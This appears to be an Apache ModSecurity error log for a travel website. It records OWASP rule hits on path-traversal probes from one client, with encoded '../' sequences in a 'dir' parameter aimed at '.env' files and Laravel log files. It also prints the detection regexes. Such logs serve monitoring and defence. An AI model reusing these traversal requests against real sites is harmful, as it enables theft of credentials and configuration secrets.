[Fri Jul 17 08:55:07.047253 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?dir=..%2F..%2F..%2F..%2F.env&debug=b4S5Q5eoY1YR0LTRQCHD2EcW7rM40W5fGo9uEJtSd6dNaDktj49Nta1uOwLCwZOVvj5zztygQZYVAopzUHlMIZY1hpp6v-7k6aeMJ6SeCFX8zNCZlpJYQN7SH1bf-kLLIiwW7t2-vfYCNyRPtpBHV9eAOkgp3g5kUVRvmWbKDg6abghbJ1SAQWgr-Jsvxky3u3ch27__7TASzFNoi9w-5IoGoE_IGT3V6iQwNMdf4AXCyD_9VdmwDjKZSpNsfLW6VFw3Md6hstKHEDYZoSxziE4h&ref=SWN2PD22UJAVBEOMV5ABWM3VW6CIRCBLI4CGKR6VIZ47GX73RWHE2DRERBHIXPPWEJK75ML46IQHIILMHADPB6XATXA2LDLORQ65OGXU4G2AVGGAMEXQ2LAQUITIN3OPOOXLI5..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSAAAABs"]
[Fri Jul 17 08:55:07.047442 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSAAAABs"]
[Fri Jul 17 08:55:07.047575 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../../../.env&debug=b4S5Q5eoY1YR0LTRQCHD2EcW7rM40W5fGo9uEJtSd6dNaDktj49Nta1uOwLCwZOVvj5zztygQZYVAopzUHlMIZY1hpp6v-7k6aeMJ6SeCFX8zNCZlpJYQN7SH1bf-kLLIiwW7t2-vfYCNyRPtpBHV9eAOkgp3g5kUVRvmWbKDg6abghbJ1SAQWgr-Jsvxky3u3ch27__7TASzFNoi9w-5IoGoE_IGT3V6iQwNMdf4AXCyD_9VdmwDjKZSpNsfLW6VFw3Md6hstKHEDYZoSxziE4h&ref=SWN2PD22UJAVBEOMV5ABWM3VW6CIRCBLI4CGKR6VIZ47GX73RWHE2DRERBHIXPPWEJK75ML46IQHIILMHADPB6XATXA2LDLORQ65OGXU4G2AVGGAMEXQ2LAQUITIN3OPOOXLI5L2ZTTKD7OWYHYBDF..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSAAAABs"]
[Fri Jul 17 08:55:07.047724 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../../../.env&debug=b4s5q5eoy1yr0ltrqchd2ecw7rm40w5fgo9uejtsd6dnadktj49nta1uowlcwzovvj5zztygqzyvaopzuhlmizy1hpp6v-7k6aemj6secfx8znczlpjyqn7sh1bf-klliiww7t2-vfycnyrptpbhv9eaokgp3g5kuvrvmwbkdg6abghbj1saqwgr-jsvxky3u3ch27__7taszfnoi9w-5iogoe_igt3v6iqwnmdf4axcyd_9vdmwdjkzspnsflw6vfw3md6hstkhedyzosxzie4h&ref=swn2pd22ujavbeomv5abwm3vw6circbli4cgkr6viz47gx73rwhe2drerbhixppwejk75ml46iqhiilmhadpb6xatxa2ldlorq65ogxu4g2avggamexq2laquitin3opooxli5l2zttkd7owyhybdf..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSAAAABs"]
[Fri Jul 17 08:55:07.047838 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSAAAABs"]
[Fri Jul 17 08:55:07.047945 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSAAAABs"]
[Fri Jul 17 08:55:07.048792 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95owAAAAw"]
[Fri Jul 17 08:55:07.048830 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95owAAAAw"]
[Fri Jul 17 08:55:07.049898 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSAAAABs"]
[Fri Jul 17 08:55:07.050154 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCQAAAAM"]
[Fri Jul 17 08:55:07.050189 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCQAAAAM"]
[Fri Jul 17 08:55:07.049959 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95owAAAAw"]
[Fri Jul 17 08:55:07.051287 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.051501 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.051650 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95owAAAAw"]
[Fri Jul 17 08:55:07.052079 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBSAAAABs"]
[Fri Jul 17 08:55:07.058330 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?dir=..%2F..%2Fstorage%2Flogs%2Flaravel.log&junk=giKQazPIp_C69Zt2I9LOZdlgyiPaQ9ELV1_0GReCuxFbYy6TJo23jIfpiGSef6TUnN2KFTJKOP-aJ9ka6cYn7hHIywMEMbb35bKH7Hpb8aQrM_-rmLKr2nOTJYGAAFSRyqIjtisA6Z3v0ddiFzSfw4rbsoZ9YP9TbAedthbJJT0a2mk_QwTSdLNnXQDv7_tVE621FHqXOisaAAXXvxY0Z6RebN2m2o1ydha-uEJCRfw7EkFV5sb6sbbzN-JHTWmaZzzL1EPTskqavhU5EGOzp2gY&token=CQK3M7SEOPLVTR3D4ZCH2RI6ULWOZN67FGRVAF3TD3RGZB4CD7MWAE6JBE4MMCWQIWH3EZEXNR7FWCT7MA4JJ5IQGMCUVMII67JCHQIWMLX6TW2MJBG2Z23..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pAAAAAw"]
[Fri Jul 17 08:55:07.058386 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pAAAAAw"]
[Fri Jul 17 08:55:07.058467 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../storage/logs/laravel.log&junk=giKQazPIp_C69Zt2I9LOZdlgyiPaQ9ELV1_0GReCuxFbYy6TJo23jIfpiGSef6TUnN2KFTJKOP-aJ9ka6cYn7hHIywMEMbb35bKH7Hpb8aQrM_-rmLKr2nOTJYGAAFSRyqIjtisA6Z3v0ddiFzSfw4rbsoZ9YP9TbAedthbJJT0a2mk_QwTSdLNnXQDv7_tVE621FHqXOisaAAXXvxY0Z6RebN2m2o1ydha-uEJCRfw7EkFV5sb6sbbzN-JHTWmaZzzL1EPTskqavhU5EGOzp2gY&token=CQK3M7SEOPLVTR3D4ZCH2RI6ULWOZN67FGRVAF3TD3RGZB4CD7MWAE6JBE4MMCWQIWH3EZEXNR7FWCT7MA4JJ5IQGMCUVMII67JCHQIWMLX6TW2MJBG2Z23ASA3TOYFWEWB65DT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pAAAAAw"]
[Fri Jul 17 08:55:07.058519 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../storage/logs/laravel.log&junk=gikqazpip_c69zt2i9lozdlgyipaq9elv1_0grecuxfbyy6tjo23jifpigsef6tunn2kftjkop-aj9ka6cyn7hhiywmembb35bkh7hpb8aqrm_-rmlkr2notjygaafsryqijtisa6z3v0ddifzsfw4rbsoz9yp9tbaedthbjjt0a2mk_qwtsdlnnxqdv7_tve621fhqxoisaaaxxvxy0z6rebn2m2o1ydha-uejcrfw7ekfv5sb6sbbzn-jhtwmazzzl1eptskqavhu5egozp2gy&token=cqk3m7seoplvtr3d4zch2ri6ulwozn67fgrvaf3td3rgzb4cd7mwae6jbe4mmcwqiwh3ezexnr7fwct7ma4jj5iqgmcuvmii67jchqiwmlx6tw2mjbg2z23asa3toyfwewb65dt..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pAAAAAw"]
[Fri Jul 17 08:55:07.058557 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pAAAAAw"]
[Fri Jul 17 08:55:07.058593 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pAAAAAw"]
[Fri Jul 17 08:55:07.059892 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pAAAAAw"]
[Fri Jul 17 08:55:07.062224 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.062610 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95pAAAAAw"]
[Fri Jul 17 08:55:07.064187 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?dir=..%2F..%2F..%2F..%2F..%2F.env&anything=Wuhgs_k7ruu8G4SV2jgnXUgRAOfF9tkwImBd5lk7r442P--6ppebtg3ggutPvC_b_l49XkcqQR8m1v1y-SLRW9he_vMMgeTrwyq8fr4pYfFChEOwLvwMHv_DdSceIjOEL6OY5limNNsfOx59FufrjkhPIGFgpsadXdQeZM4sF8D0k-lX-MVBK7BH1KS_ixdKsykmjAlKHnsC3TBiVcVIrQoUu1ComWOfP5Z8KjYpOni8se84kRz0rKFfK7WepOAGBS-bCYAwtbl-xuFH_eOIqj-K&junk=PHDX3X2NSHWCJ343JMWF5T6SPOXC77H57XEICF3HOUMZX5W46CDQBNUHOS6RKOIJSQ33GPXH7DYB2PBWMUJXPEHFRGZ5775FZBHQAZOUDIO6GRC6L5BMCJJ535GAX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSQAAABs"]
[Fri Jul 17 08:55:07.064362 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSQAAABs"]
[Fri Jul 17 08:55:07.064506 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../../../../.env&anything=Wuhgs_k7ruu8G4SV2jgnXUgRAOfF9tkwImBd5lk7r442P--6ppebtg3ggutPvC_b_l49XkcqQR8m1v1y-SLRW9he_vMMgeTrwyq8fr4pYfFChEOwLvwMHv_DdSceIjOEL6OY5limNNsfOx59FufrjkhPIGFgpsadXdQeZM4sF8D0k-lX-MVBK7BH1KS_ixdKsykmjAlKHnsC3TBiVcVIrQoUu1ComWOfP5Z8KjYpOni8se84kRz0rKFfK7WepOAGBS-bCYAwtbl-xuFH_eOIqj-K&junk=PHDX3X2NSHWCJ343JMWF5T6SPOXC77H57XEICF3HOUMZX5W46CDQBNUHOS6RKOIJSQ33GPXH7DYB2PBWMUJXPEHFRGZ5775FZBHQAZOUDIO6GRC6L5BMCJJ535GAX4DLXAILJ4GODBXVMPP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id 